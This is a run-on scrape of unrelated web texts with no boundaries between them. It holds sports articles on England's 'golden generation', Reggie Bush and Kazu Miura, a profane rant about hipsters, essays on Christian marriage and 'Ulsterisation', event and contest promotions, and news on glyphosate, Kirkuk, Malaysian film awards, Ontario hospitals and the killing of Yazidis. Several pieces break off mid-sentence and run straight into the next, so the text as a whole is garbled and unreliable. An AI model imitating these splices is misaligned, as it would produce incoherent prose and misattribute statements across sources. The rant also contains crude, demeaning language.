Collins didn't land a one-year deal with the Boston Celtics last season until mid-August and had to wait until September 2010 to sign a one-year deal with the Atlanta Hawks before the 2010-11 campaign. Collins signed a one-year deal with the Hawks again in 2011 just a few days after the lockout was lifted in December.QR Code Link to This Post
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so, are you really in love with a guy or his accessories? or is it that you're in love with the whimsical idea of an urban lumberjack type who will go on "adventures" with you, meanwhile being perfectly content with doing what every other human being our age does: drinking and fucking?also, tell me about the last black guy you dated. what's that? you can't? cause every fucking uptown hipster is a white boy from the suburbs.the uptown wannabes from the suburbs grow up idolizing the current inhabitants. when they're old enough, they move there, grow beards and do the stupid shit that kids do (eg. drink). what's ironic is that this new generation then grows up and becomes the new kids to be idolized by the new uptown wannabes from the suburbs. it's an endless cycle of superficiality, facades, and stupid kids seeking affirmation from their peers.the truth is, NONE OF YOU ARE COOL!i wish i could be there, 20 years from now, when you look back at pictures of yourselves from today. it's like explaining zubas in the 90s to someone today.irony is not timeless.marry a guy with a yacht.There was no golden generation after all. But let us be generous, for once, and say without irony that a bunch of gifted footballers finally disappeared into a Free State sunset last night. Although their deeds in the shirt of the national team may never have matched their promise, what they accomplished in the colours of some of the world's biggest clubs certainly validated their authenticity as individuals. If they failed to bring home the expected trophies from international tournaments, at least they gave us plenty to talk about.
The truth is that they had been slipping away, one by one, for some time before the end came last night. The first of the core members to take his leave was Paul Scholes, whose disillusionment led him to retire from international football after the 2004 European Championships. Next went Michael Owen, his England career ended by an inability to persuade Fabio Capello that his full effectiveness had been restored after a series of debilitating injuries. The third was David Beckham, who had regained the coach's trust but whose Indian summer was ruined by an achilles tendon injury in March. Then Rio Ferdinand was abruptly excluded from participation in the 2010 World Cup by a twisted knee in a training session eight days before England's opening match.
Now, following yesterday's defeat by Germany, the chances are that we have also seen the last of Steven Gerrard and Frank Lampard at a major international competition. Both can look forward to years of useful life at club level but their lease on an England shirt has expired and whoever picks up the threads left by Capello will need to be thinking in terms of a fresh start.
Gerrard and Owen are 30, Lampard and Ferdinand 32, Beckham and Scholes (whom Capello, at his wits' end, tried to recall) 35. They made their senior international debuts between 1995 and 2000 and share an aggregate of 421 caps, which would have been many more but for injuries, a long suspension and Scholes's self-imposed exile. In football terms they are now senior citizens. Advances in kinesiology and other fitness sciences mean they will be with us for a while yet but no longer as the standard bearers for a perhaps unwisely expectant nation.
Together they symbolised England's hopes of turning the Premier League's astonishing global popularity into a second World Cup trophy in the FA's cabinet. At the start of their journey they were young, gifted and – with the exception of the admirably stubborn Scholes – hugely marketable, but now it can be seen that their pinnacle probably came that sunny late afternoon in Shizuoka, when they faced Brazil in the quarter-finals of the 2002 tournament in front of 47,436 spectators whose replica shirts were divided equally between the white of the European side and the yellow of the South Americans.
The vast majority of those fans were Japanese, and the ones who had elected to support England were, almost to a man, woman and child, wearing the names of Owen or Beckham inscribed on their backs. Those old enough to remember the Beatles' impact on Japan, almost 40 years earlier, identified a similar popular culture phenomenon. Owen gave England the lead and in that moment they seemed fully the equals of the best side in the world. Had Beckham or Scholes succeeded in preventing the move from which Rivaldo scored the equaliser or had Ronaldinho's audacious free-kick not been allowed to dip under David Seaman's crossbar, history might have been very different.
After that defeat the climate changed. Anticipation was no longer untainted by apprehension. At home the excitement grew greater every time they set off for a World Cup but underneath it was a feeling that disappointment would not be far away. The fans believed, and did not believe. They were prepared to give unconditional support while reserving the right to castigate those who failed to fulfiltheir dreams, even though most of them knew, deep down, that those dreams were no longer realistic. Their apprehension was shared and after their first two matches in South Africa even Capello was speaking of the "fear" of the tournament exhibited by these highly experienced players.
The immoderate affluence of the leading Premier League players began to turn the leaders of the golden generation into easy targets and at the 2006 World Cup they allowed themselves and their entourage to become a laughing stock. A sense of entitlement finally overwhelmed what had once been a bunch of ordinary lads, essentially no different from, and no less talented than, those assembled by Alf Ramsey in 1966.
It distorted their behaviour off the pitch and led them to believe that success on it was no more than they "deserved" – the most popular word in their lexicon when, after losing a penalty shoot-out to Portugal, they were lamenting the premature departure from their luxury headquarters in the hills of the Black Forest as though the talent and superior motivation of lower-ranked teams were some sort of offence against nature.
So the era that began on a hot June night in France 12 years ago with a flash of lightning – Owen's scamper through the Argentinian defence – and a roll of thunder – Beckham's red card – is finally over. Now we can see how that defeat in Saint-Etienne defined the generation: a moment of deserved exhilaration closely followed by the confrontation with catastrophe. And when the end came, it was a real coup de grâce, appropriately flavoured with controversy and delivered by merciless opponents.ALLEN PARK -- Reggie Bush is coming off his worst rushing performance of the season.
In the Detroit Lions' 27-24 loss to the Cincinnati Bengals, Bush carried the ball 20 times, but only managed to gain 50 yards on the ground. His longest run was just seven yards.
After reviewing the film from the game, Bush wasn't happy.
"I definitely felt like after that game I could have run the ball better," Bush said. "I felt like there were some areas where I missed some holes. I wasn't running as aggressive. I have to correct that mistake. It starts with me first."
Bush is intent on being more decisive when the Lions host Dallas this Sunday.
The Cowboys rank 13th overall against the run, but are allowing 4.3 yards per carry, 25th in the NFL.
They've been worse over the past three games, surrendering 4.6 yards per attempt.
"This is another good front seven that we are going to face," Bush said. "For the running backs, starting with myself, I have to do a better job at just attacking the holes when I see them and giving my offense a chance at the second-and-shorts and the third-and-shorts."
For the season, Bush has racked up 426 rushing yards on 98 attempts (4.3 yards per carry). He's tied for seventh among running backs with three carries of 20 or more yards.
-- Download the Detroit Lions MLive app for iPhone and Android
-- Follow Justin Rogers on Twitter
-- Like MLive's Detroit Lions Facebook pagePositive emotions are often seen as strongly linked to physical health, but a new study published in the journal Psychological Science suggests that the link between emotion and health may vary by culture. The findings show that experiencing positive emotions is linked with better cardiovascular health in the U.S. — but not in Japan.
“Our key finding is that positive emotions predict blood-lipid profiles differently across cultures,” said psychological scientist Jiah Yoo, a graduate student at the University of Wisconsin-Madison.
“American adults who experience high levels of positive emotions, such as feeling ‘cheerful’ and ‘extremely happy’, are more likely to have healthy blood-lipid profiles, even after accounting for other factors such as age, gender, socioeconomic status, and chronic conditions. However, this was not true for Japanese adults,” she said.
“Our findings underscore the importance of cultural context for understanding links between emotion and health, something that has been largely ignored in the literature,” said Yoo.
“Although some studies have examined cultural differences in links between positive emotions and healthy functioning, this work is novel in that it includes biological measures of health and large representative samples from both countries.”
The fact that positive emotions are thought of and valued differently across cultures led the researchers to wonder whether the health benefits observed in tandem with positive emotions might be specific to Western populations.
“In American cultures, experiencing positive emotions is seen as desirable and is even encouraged via socialization. But in East Asian cultures, people commonly view positive emotions as having dark sides — they are fleeting, may attract unnecessary attention from others, and can be a distraction from focusing on important tasks,” said Yoo.
For the study, the research team designed a cross-cultural comparison, examining data from two large representative studies of adults: Midlife in the United States and Midlife in Japan, both funded by the National Institute on Aging.
Participants rated how frequently they felt 10 different positive emotions in the previous 30 days and underwent tests of blood lipids, which provided objective data on heart health.
“Because of the global prevalence of coronary artery disease, blood lipids are considered important indices of biological health in many Western and East Asian countries,” said Yoo.
As expected, the findings showed a link between experiencing frequent positive emotions and healthy lipid profiles in American participants. But there was no evidence of such a link for Japanese participants.
One potential reason for this could come down to the association between positive emotions and BMI in each culture. Greater levels of positive emotions were linked with lower BMI and, in turn, healthier lipid profiles among American participants, but not among Japanese participants.
“By demonstrating that the cultural variation in the connection between emotional well-being and physical well-being, our research has wide-ranging relevance among those who seek to promote well-being in the communities and the workplace, including clinicians, executives, and policy makers,” said Yoo.
In the future, the researchers plan to investigate longitudinal data to determine whether the evidence suggests a direct causal link between emotions and health. They also hope to identify emotional profiles that may be more relevant or important to health outcomes in East Asian cultures.
Source: Association for Psychological Science
Link Between Positive Emotions and Health May Depend on CultureThere have always been forces that have pulled marriages apart. But it is the forces that push people together that are growing increasingly rare.
Social reinforcement of marriage from sources such as the workplace, the law, entertainment and the education system is fading rapidly or has collapsed completely. The church, by which I mean institutionalized Christianity in the United States, is increasingly alone in its formal privileging of marriage and family. But Christians are hardly exempt from wider mating market dynamics.
Sex has become cheap — that is, not hard to get — because it’s much less risky and consequential in the era of birth control. Perceived barriers to marriage, meanwhile, are getting higher — prompting greater marital delay and fewer marriages overall. Add to that Christians’ elevated standards for marriage and you have a recipe for wholesale retreat.
In step, many Christians’ expectations about marriage have dimmed. Whereas only 37 percent of the least religious never-married adults in the 2014 Relationships in America survey said they would prefer instead to be married, 56 percent of the most religious never-married adults said the same. But 56 is a far cry from 80 or 90 percent. Something’s going on.
[‘I signed the Nashville statement. It’s an expression of love for same-sex attracted people.’]
Young Christians are suffering the bruising effects of participating in the same wider mating market as the rest of the country. Many Orthodox Jews and Mormons have eschewed the wider mating market, while Christians in their 20s and 30s have not. These Christians’ narratives are seldom radically different from nonreligious Americans. They want love, like nearly everyone else. They couple. Sex often follows, though sometimes after a longer period of time — a pattern that confuses them more than most, because premarital sex remains actively discouraged, but impossible to effectively prevent, in the church.
Moreover, plenty of American Christians have taken breaks from the faith, been burned, returned and then struggle to navigate new relationships in a manner distinctive from their previous mating-market experiences. (It’s not easy to raise the price of sex.) To be sure, there are those who hew to a more orthodox path — that is, dating without sex, followed by marriage in a timely fashion. They are just becoming rarer |
on Belfast gable ends.
All too often, too, ‘Ulster’ is a shorthand for atavistic violence, bitterness and division. A toxic politics where ethnicity trumps all else.
So I was both surprised and disquieted to hear “Ulsterisation” being used to talk about Scottish politics this week.
“Ulsterisation” – a term which, grimly, was actually coined in the 1970s to refer to the British Government policy of relying on Ulster regiments as Northern Ireland descended into violence – is supposed to mean that Scotland is now divided along constitutional lines.
“Look! They have nationalists. We have nationalists. They unionists. We have unionists.” Throw a Saltire around Gerry Adam’s shoulders and he could be standing on an SNP ticket in Invercylde. (That Ruth Davidson would need to remain in the closet if she were to wear the Democratic Unionist red, white and blue should have given commentators a clue to the limits of this school of analysis…)
“Ulsterisation is now complete” Herald columnist David Torrance declared in the wake of last week’s Scottish Parliament elections. Torrance’s piece made a perfectly reasonable point: Scottish politics has become unmoored from the rest of the UK, as Northern Ireland’s has been for decades; in Scotland, the constitution is king. It has become, he argued, “Ulsterised”
But ‘Ulsterisation’ as a concept does not work, on a number of levels.
First, as others quickly pointed out, comparing post-referendum Scottish politics to a society still scarred by more than three decades of violence that cost more than 3,000 lives is at best unhelpful, at worst offensive.
In Scotland, political differences are settled by the ballot box, never the Armalite.
Northern Ireland is a brittle post-conflict polity. Dissident republicans target security forces. Loyalist paramilitaries are still recruiting new members, according to the latest report by the International Monitoring Commission (an international body hastily reinstated last year after the IRA was involved in murdering a former member).
And in Scotland? An egg thrown at Jim Murphy two years ago, and endless screen grabs of intemperate numpties on Twitter.
Defenders of the idea of ‘Ulsterisation’ as applied to Scotland – in many cases people with little or no first hand knowledge of life on the other side of the Sea of Moyle – counter that it refers not to violence but to the primacy of constitutional politics. Surely, it is self evident that both Northern Ireland and Scotland are divided pretty much down the middle by nationalism and unionism?
Well, no actually.
“Ulsterisation” presupposes that political identify is structured the same way in Northern Ireland and Scotland. It isn’t.
We might use the same terms – “nationalist”, “unionist” – but they mean different things.
In Northern Ireland, less than one in five are currently in favour of Irish unification. That figure includes many ‘nationalists’ – but that does not make them any less nationalist in their eyes and, just as crucially, in the eyes of others.
Nationalist and unionist in Northern Ireland are about much more than an attitude to the future of the border. The terms are an ascription of group identity grounded in ethnicity and, often most importantly, physically bounded in space. Religion as practised may be a part of this for some, but not for most.
The stereotypical images of ‘Ulster’ – the painted kerbstones and flag festooned lampposts – speak to the dominance of territoriality in the construction of Northern Irish political identities.
Most people in Belfast live on streets that are 90% Catholic or Protestant. There is ‘republican’ Falls Road, and ‘loyalist’ Sandy Row. The ‘other’ side – implicitly and explicitly – are unwelcome.
Does this sound like Scotland?
Sure, ‘yes’ voters tend to be younger and from more working class areas, but that’s demographics not “Ulsterisation”. If there are 15 foot corrugated iron walls separating Airdrie and Coatbridge, I have missed them.
During the referendum some families were split down the middle on independence. This is practically impossible in Northern Ireland where political identity is a function of where you were born, not your confidence in the latest set of Gers figures.
Sure, “Ulsterisation” exists in Scotland. As a first generation Irishman living in the West of Scotland, I have experienced it first hand. (After a recent TV appearance one wag on Twitter advised me to “fuck off back home you potato muncher”).
This “Ulsterisation” is a product of the centuries-long migration from the north of Ireland. Protestants and Catholics alike found work in Scottish industries. They brought their sectarianism – their ‘Ulsterisation’ – with them, and it still flies from some flag poles in Bridgeton cross and the like.
But sectarianism is not the defining feature of Scottish life that it once was. And even in Northern Ireland there are signs that this “Ulsterisation” is on the wane.
In elections to the Northern Ireland assembly Thursday, over half of Northern Irish voters chose the DUP or Sinn Fein. But there were signs of nascent diversity. The left-wing People Before Profit won two seats, including in ‘republican’ West Belfast where Gerry Carroll topped the poll with almost a quarter of votes cast.
Let’s keep ‘Ulster’ for talking about rugby, the greasy fry-up, and some of the most beautiful countryside on these islands. But not for trying to understand contemporary Scottish politics.Meetup for roleplayers in and around Berlin who are looking for a group, one-shot or nice meetings with fellow roleplayers.
Of course not strictly limited to roleplaying events, if you want to host a board game or a movie night (even if there are more specific groups for that), etc. it's fine, too, as long as it involved fellow roleplayers (or similar geeks ;-). Feel free to ask for a re-posting of such events from other groups.
People who want to organize (open for all) One-Shots, etc. are more than welcome to contact me to get Event-Organizer status, so you can enter and manage your events yourself.
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Meetup für Rollenspieler in und um Berlin die nach einer Gruppe, One-Shot oder netten Treffen mit anderen Rollenspielern suchen.
Natürlich herrscht keine strikte Beschränkung auf Rollenspiel-Events, wenn jemand auf eine Runde Brettspiel einladen oder einen Filmabend orgamisieren will (auch wenn es dafür spezifischere Meetups gibt), klar, kein Problem, solange eben Rollenspieler (und andere Geeks) eingeladen sind ;-). Fragt ruhig nach, wenn ihr für so ein Event hier einen Hinweis posten wollt (auch wenn die Anmeldung über eine andere Gruppe läuft).
Leute, die Treffen organisieren wollen, etc. können sich gerne bei mir melden.So Matthew has been busy. Striving to make Long Beach Coffee Club a high quality learning place for coffee he started up conversations with green bean importers around the US.
Now to the fun part. We are stoked to announce our first home roasting event in Long Beach. The two aspects that the Coffee Club Members asked to learn about was home roasting and latte art. With that we are starting with home roasting!
More details to come but if you want to learn how to roast your own coffee at home or already do so I highly recommend you sign up. We will have coffee, and a live webinar by Sweet Maria's!
Location will be in Long Beach. Please tell your friends about us via Instagram @longbeachcoffeeclub ( https://www.instagram.com/longbeachcoffeeclub/ ) or through our Facebook page https://www.facebook.com/longbeachcoffeeclub/ ( https://www.facebook.com/longbeachcoffeeclub/ )
We have a cost for this event to cover expenses.Free Stuff
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Win over $1000 in prizes from the Jackalope Art & Craft Fair!
Jackalope Art and Craft Fair is weekend shopping destination at Central Park in the heart of Old Pasadena, featuring over 200 local, curated and hand-selected artisans, crafters, and DIY enthusiasts. Shoppers can expect to find trendsetting indie goods including original fashion and jewelry design, ceramics and paper goods, innovative home decor and housewares, art and photography, plus much more.
Enter to win a sweet dreams eye mask from Balam Creations, a 9 oz. Pink Bubblegum scented soy candle from Banter & Bliss, a original piece from Betsy Carter, 2 Bacon Bitches Treats from Brew Bitches, a Morse code bracelet in sterling silver from CA Souls, Califia Farms Product Coupons, 3 Organic Coffee Scrubs from California Scrubs Co, a tobacco glass candle from Chantry 1975, a key clasp from Clau, a medium atlantic leash from Cloud Canyon, guava butter from Coldwater Canyon Provisions, an illustration on wood from Fur & Thicket, Granola Mama's Handmade Hanalei Blend Granola, an original piece from INI Creations, a gift set from Intended Luxury Handcrafted Cosmetics, Hello Kitty Liberty of London fabric makeup pouch from It's Sew Ann, a set of four nautical themed coasters from Leelo Jewelry - Accessories & Adornments, a paisley wood necklace from Love Lauren Lanning, The Melrose Mila Maxi from Lovestitch, underwater fine art on wood panel by Mallory Morrison Photography, a mini leather keychain from Montrose Leather Works, a hand dyed scarf and bag from Peri- Pure Eco Rag Industry, a hand decorated terracota pot stamped with a plant themed pun from Plant Puns, a Reza Kassai print, a Ruby Buffalo flower clip, a stained glass star from Sanae Guerin Stained Glass, a Shen & Sam hand poured soy candle, Silla Dilla Grape's Honest Abe and Neo Victorian Macabre Memento Mori Skull - hand drawn shrink plastic pins, a California fused glass dish by Sirens Calling, a necklace from Something Blue, an "I Heart Tech" shirt from Story Spark,Styles by Ana necktie art, Tail Wagging Gifts' Angels Dog Harness, handmade moccasins from Tailored Tots, a tea towel from The Ahlgren Collage, a dim sum wisdom tee and 5x7 art cards by The Bonsai Babes, a carved planter in coral from Unurth, We Felt Things' needle felt cactus home decor, handmade stickers from JDN73, and an "Eat Well Travel Often" tote bag by Yay for Friends.
The Jackalope Art & Craft Fair is happening April 30th and May 1st at Central Park in Old Pasadena. For a full list of vendors and booths, click here.
By filling out this form, your name and any other personal information you have provided will be added to the Jackalope Arts database, from which you will receive e-newsletters.Looking for a new, exciting and free puzzle game with endless possibilities? Try Glacier Blast, the best multiplayer, turn-based puzzle game with a cartoony flavor! AWESOME TILE BREAKING GAME Glacier Blast is about blasting glaciers away! Choose from a set of strategically-organized ice breakers, and drag them over a cluster of ice tiles. Once dropped, they destroy the targeted tiles. Choose wisely. The more effective your move is, the more points you rake in! Avoid dropping ice breakers in water to get the highest score! GAME MODE TRIO Need to plan before making a move? Feud match combines strategy and quick play! Want an intense 5 minutes match? The fast-paced Quick Feud is for you! Looking for a moment of peace? The Puzzle mode is a smooth-paced single player game. Destroy the whole board in the smallest number of moves. ABSURDLY CHARMING AVATARS Meet four wacky furry friends that’ll accompany you through your adventure! Fully animated, they react to how you play as well as to various events throughout the game!The European Commission has refused to make available the risk assessment report on glyphosate prepared for the European Food Safety Authority. Glyphosate is the world's most widely used herbicide and the active ingredient in Monsanto's Roundup. The risk assessment will determine Glyphosate's renewed authorization in the European Union. The European pesticide lobby is pressing Europe to follow the United States in increasing allowable glyphosate exposure levels.
In a letter to the German NGO Testbiotech of August 10, the Commission stated that the report is confidential and there is "no overriding public interest" in making it accessible. However, a report earlier this year from the World Health Organization's International Agency for Research on Cancer (IARC) classified glyphosate as "probably carcinogenic to humans" - presumably a compelling public interest.
The Commission's ongoing refusal to make available its risk assessment data violates a 2013 ruling by the European Court of Justice requiring public disclosure.Taking a stance to defend our values
Bastian Lehmann Blocked Unblock Follow Following Jan 29, 2017
I shared the message below with our staff this morning:
I believe deeply in the importance of immigration. Postmates was founded by immigrants and US citizens. Our first ever employee was born in Myanmar and I am myself an immigrant.
I have restrained from being too vocal about the fear and uncertainty that is being distilled by the actions of the current administration. President Donald Trump’s executive order halting travel from seven Muslim-majority countries — Iraq, Syria, Iran, Yemen, Sudan, Libya and Somalia — is concerning to us, as well as many national and international leaders. I no longer believe it to be reasonable to remain silent.
On Saturday, many legal residents of the United States who hold valid green cards and approved visas were blocked from boarding planes overseas or were detained for hours in American airports.
It is evident to myself and the leadership of Postmates that these policies on immigration are morally questionable due to the impact they have on the lives that have been and will be affected. We see them as contrary to the long standing precedent that the United States is a country that welcomes, values and embraces the diversity cultivated through immigration.
Postmates is a reflection of these long standing values. We choose not to discriminate individuals based on where they are from and it has suited us well as we have been able to hire and employ the most talented people from around the world.
The trade-off of these policies is obvious. In exchange for the guise of safety rooted in fear of those with different religious, ethnic and cultural backgrounds we will be abandoning the diverse melting pot of culture and ideas that has made the United States prosper. That is the bedrock that creative growing companies like Postmates have been built upon. Ignoring the dynamics of this diversity, which is distinctly American and has set our country apart from the rest the world throughout history is short sighted and damaging.
In order to help preserve the historic relationship the United States has with immigration and to mitigate the impact on those affected by the current changes in policy we will be matching the personal donations made by Postmates employees to the ACLU and the International Refugee Assistance Project.
Thank You!
BastianA majority of the American people (51%) believes that the U.S. Constitution establishes a Christian nation, according to the State of the First Amendment survey released last month by the First Amendment Center. Because language about a Christian America has long been a staple of Religious Right rhetoric, it's not surprising that acceptance of this patently false interpretation of the Constitution is strongest among evangelicals (71%) and conservatives (67%). But even many non-evangelical Christians (47%) and liberals (33%) appear to believe the fiction of a constitutionally mandated Christian America is historical fact.
Charles C. Haynes of the First Amendment Center writes
I am not aware of any polling or sociological survey data that would tend to confirm or cast doubt on these numbers. But whatever degree of truth there may be in them, they come from a credible source and are sufficiently concerning that I think we need to sit-up and take notice and begin to consider what might be done.
Haynes uses the occasion of these hair-raising findings to offer a counter historical narrative. (I did the same in longer form a few years ago, as have many others over the years.)
If it is true, as the First Amendment Center's survey suggests, that most Americans embrace the main assertion of Christian Nationalism, there is much to be done. For today, I will restate a premise of this site.
We have pretty much the same issue when it comes to Christian Nationalism as we do when addressing any dimension of the Religious Right: We have to at least consider the whole of the movement in order to best understand and figure out how to contend with any of its constituent parts or concerns. That does not mean that everyone needs to know everything there is to know about the Religious Right. I don't know anyone who does (certainly not me) and it would be a silly ambition in any case. But my point is that actual knowledge and expertise nevertheless, matters. What also matters is that we have a commonly accepted vocabulary so we can communicate about these things. It can be challenging, but it ain't rocket science, and I think we have made progress in this area (organized efforts to stop us not withstanding.) A close corollary is that unfair labels, terms of demonization -- and loaded language generally -- are obstacles to thoughtful consideration and conversation in this, and really any arena.
These are obvious prerequisites to dispassionate scholarship, journalism, and strategic conversation among affected and concerned constituencies.Devlet Bahceli leader of the Turkish Nationalist Movement (MHP). AP file photo
ERBIL, Kurdistan Region – The top Turkish nationalist Devlet Bahceli has blasted Kurdistan’s independence referendum and called Kirkuk Turkey’s 82nd province, saying “the security of Kirkuk is the security of Ankara.”
Speaking at an event titled ‘Meeting of Kirkuk lovers,’ Bahceli leader of the Turkish Nationalist Movement (MHP) in Ankara said on Sunday no “power could stand in the way of Kirkuk being 82 and Mosul 83" provinces of Turkey.
He described the referendum held in Kirkuk as a “game to defeat the national security of Turkey.”
Multi-ethnic Kirkuk is home to a sizeable Turkmen population, in addition to Kurds and Arabs. Bahceli said Turkey would fight until their “last breath to defend Turkmenistan nationalists.”
He added that “the territorial integrity of Iraq is the norm for us. We must strengthen relations with the Iraqi central government."
As a Turkish nationalist hardliner, Bahceli is known for his harsh language against the Kurdish bid for independence, especially when it comes to Kirkuk, a city he claims to be historically Turkish.
"A game is being played in the north of Iraq" Bahceli said, adding that Kurdistan Region authorities are working to “revive the Sevres Treaty” through the September 25 referendum.
The Treaty of Sèvres was one of a series of treaties signed after the defeat of the Ottoman Empire in World War I that promised the people of Kurdistan an independent state but was never followed through. It marked the beginning of the partitioning of the Ottoman Empire.
After World War I, Kurdish nationalists pinned their hopes to the treaty of Sevres. With the dissolution of the Ottoman Empire, the Treaty of Lausanne partitioned Kurdish territory between Turkey, the British mandate of Iraq, the French mandate of Syria, and the Shah’s Persia.
Turkey’s ruling Justice and Development Party (AKP) has also rejected Kurdistan’s referendum, deeming it a means to divide the territorial integrity of Iraq and calling on the Kurdish leadership to annul the vote.
The people of Kurdistan voted in an overwhelming majority for independence from Iraq. The Kurdistan leadership has refused to annul the results, despite pressure from Ankara, Baghdad, and internationally.Director-writer Shanjhey Kumar Perumal on set of ‘Jagat’. Finas said that all candidates in the now-abolished non-Bahasa Malaysia categories, including ‘Jagat’, will be included in the main categories instead. — Picture by Cinema Online
KUALA LUMPUR, Aug 11 — The National Film Development Corporation Malaysia (Finas) has removed all three non-Bahasa Malaysia categories for the Malaysia Film Festival (FFM).
Finas said that it was introducing the new mechanism following the Communications and Multimedia Minister’s decision yesterday to open up FFM’s Best Picture category to all films regardless of language, as well as to create a Best Film in National Language category.
Finas said that all candidates in the now-abolished non-Bahasa Malaysia categories will be included in the main categories instead.
“The three categories that were announced before this, that is Best Picture (non-Bahasa Malaysia), Best Director (non-Bahasa Malaysia films) and Best Screenplay (non-Bahasa Malaysia films) are abolished.
“The shortlisted nominees for the categories that have been abolished will automatically be in contest with the existing nominees in the Best Picture FFM28, Best Director FFM28 and Best Screenplay FFM28 categories,” it said in a statement on its official Facebook page early this morning.
Finas, who is the organiser of the 28th edition of the FFM (FFM28) that will be held from September 1 to 3, also announced the films that will be contesting in the new Best Film in National Language category.
“For the Best Film in National Language, the shortlisted candidates for this category are the five films out of the Best Picture FFM28 nominees that use the National Language,” it said.
It also confirmed that other categories for the FFM awards remain unchanged.
This year, two new non-Bahasa Malaysia categories for Best Director and Best Screenplay were created for the FFM, adding on to the non-Bahasa Malaysia category for Best Picture that was introduced in 2011.
The disqualification of two critically acclaimed movies — Ola Bola and Jagat — from the main Best Picture category had sparked outrage both among the public and within the film industry. Both were nominated instead for Best Picture in the non-Bahasa Malaysia category.
At a forum last Monday night, Malaysia Film Producers Association president Datuk Yusof Haslam and its CEO Pansha Nalliah explained FFM’s roots as a festival decades ago featuring only Bahasa Malaysia films, and noted that the non-Bahasa Malaysia category for Best Picture, Best Director and Best Screenplay were introduced to give recognition to the Chinese and Tamil films that emerged in recent years.
Finas director-general Datuk Kamil Othman told Malay Mail Online last week that Finas has made it a policy for locally-made films to emphasise at least 70 per cent Bahasa Malaysia usage in their scripts in line with the government’s push to promote the national language, but admitted it would be ideal if the Best Picture category in FFM was open to all films regardless of language.
It is unclear if the 70 per cent Bahasa Malaysia content requirement still applies to the Best Film in National Language category as Finas did not elaborate on the criteria for the newly-created category.No hospital in Ontario has been chronically overcrowded for as long as University Hospital in London, the provincial New Democrats charged Thursday.
Acute and psychiatric wards in London hospitals have been over-capacity for 2 1/2 years.
“London patients and families have been dealing with overcrowding longer than anyone else in Ontario, yet the Liberals refuse to even admit that hospital overcrowding is a problem,” said London-Fanshawe NDP MPP Teresa Armstrong.
“While Londoners are finding no room in their hospital, and patients are sleeping on floors in the ER, the Liberals keep cutting hospital services, laying off health care workers, and closing beds. It’s clear that health care is the silent crisis of the (Kathleen) Wynne government.”
The Free Press has chronicled overcrowded wards from the get-go, showing how some patients waited a week or more for a staffed bed on a ward, the waits creating massive backups in the city’s emergency rooms.
Data obtained by the NDP show chronic overcrowding at University Hospital but most results from Victoria Hospital are blank. Only Vic’s psychiatric ward shows occupancy rates.
“Premier Wynne and Deputy Premier Deb Matthews have long known about this problem in London and should have tackled it by protecting hospital services. Instead, (Matthews) refuses to acknowledge Liberal cuts to hospital budgets even while frontline health-care workers are laid off and hospitals are closing beds,” said London West NDP MPP Peggy Sattler.
The Liberals froze hospital base operating budgets for four straight years, and since the 2016 Budget was released, Ontario hospitals had new rounds of cuts and bed closures, the NDP said.
London Health Sciences Centre stated that this year “marks the fifth consecutive year that funding does not offset inflationary pressures,” and said it would reduce staff hours by 64.5 full-time positions.
Asked about the NDP’s claims, Health Minister Eric Hoskins issued a statement, saying his government gave an extra $345 million for hospitals this year and had made smart investments so more people can be treated at home and in communities, while those who need a hospital are managed more efficiently.
“These investments help keep patients in their homes for as long as possible — where they want to be — and out of more costly hospitals and long-term care homes,” Hoskins wrote. “The Institute of Clinical Evaluative Studies has found that changes we have made have led to an increase in the number of patients treated, (and) reduced average length of stay for surgical and medical admissions.”
International standards call for hospitals to target occupying 85 per cent of beds so they can safely handle surges of patients. In London, officials target 95 per cent occupancy but instead have been consistently at over 100 per cent capacity.
jsher@postmedia.com
Twitter.com/JSHERatLFPressFormer Japan international Kazuyoshi Miura with former Italian international Roberto Baggio (R) in Tokyo on June 9, 2013. Miura bettered his own record as the oldest goal scorer ever in the J-League after hammering home a shot just 16 seconds into a game
A former Japan international bettered his own record as the oldest goal scorer ever in the J-League after hammering home a shot just 16 seconds into a game.
Kazuyoshi Miura, nicknamed "King Kazu", hit a half volley into the net as he led Yokohama FC to a 3-1 victory over Tochigi SC in Japan's second division on Wednesday.
On the day, Miura was 46 years, four months and seven days old, beating his own record by more than a year.
"I received a nice pass. The rest was the same as (Brazilian star) Neymar," he said. "I have watched his games many times. My left-footed shot was just like Neymar."
Brazilian legend Zico is the J-League's second oldest scorer at 41 years, three months.Iraq Claims Militants Executed Hundreds Of Minority Yazidis
Enlarge this image toggle caption Reuters/Landov Reuters/Landov
Update at 11:50 a.m. ET.
A Baghdad government minister says at least 500 members of Iraq's minority Yazidis have been killed by Islamic militants.
Iraq's human rights minister, Mohammed Shia al-Sudani, tells Reuters that he has evidence that the Sunni militants had thrown the Yazidi dead into mass graves, adding that some of those buried alive were women and children. About 300 women had been forced into slavery, he said, although he did not say when the alleged massacre took place.
"We have striking evidence obtained from Yazidis fleeing Sinjar and some who escaped death, and also crime scene images that show indisputably that the gangs of the Islamic States have executed at least 500 Yazidis after seizing Sinjar," Sudani told Reuters. "Some of the victims, including women and children, were buried alive in scattered mass graves in and around Sinjar."
However, Iraq's deputy human rights minister, speaking with NPR, later qualified the statement, saying the number of 500 Yazidis killed in the last four days is an estimate and that it includes those who died of hunger or thirst. The official also he is not sure if the number of 300 women forced into slavery was accurate.
The claims come as the U.S. conducted more airstrikes aimed at armored personnel carriers and trucks being used by Islamic State militants, also known by the acronyms ISIL and ISIS.
The U.S. Central Command says the militants were firing indiscriminately on members of the Yazidi minority taking shelter in the mountains outside the town of Sinjar, according to The Associated Press. U.S. and Iraqi aircraft also have dropped aid for thousands trapped on a mountaintop.
A statement issued by CentCom said "a mix of [jet] fighters and remotely piloted vehicles," i.e., drones, conducted "multiple airstrikes... to defend Kurdish forces near Irbil" in northwestern Iraq. The attacks were targeted at militant trucks and mortar positions, it said.
Meanwhile, France echoed calls from the U.S. and U.K. urging Iraq's politicians to form a unity government to combat the militant threat.
"Iraq is in need of a broad unity government, and all Iraqis should feel that they are represented in this government and... in this battle against terrorism," French Foreign Minister Laurent Fabius said during a visit to Iraq aimed at boosting humanitarian efforts to aid the tens of thousands Yazidis trapped near Irbil.
The comments from France's top diplomat follow similar remarks by President Obama on Saturday. He said Iraq must have a legitimate government to deal with the insurgency.
Obama called the humanitarian and military crises in Iraq "a long-term project" and said the U.S. would continue to provide assistance, including military support, but he ruled out the return of U.S. ground troops, the last of which were withdrawn in 2011.
In a joint news conference today with Fabius, Iraqi Kurdish President Masoud Barzani called on the international community to provide direct military support to his fighters. "We are not fighting a terrorist organization, we are fighting a terrorist state," he said, according to Reuters.
Pope Francis today also expressed his outrage at the violence against religious minorities in Iraq, saying the situation "leaves us in disbelief."
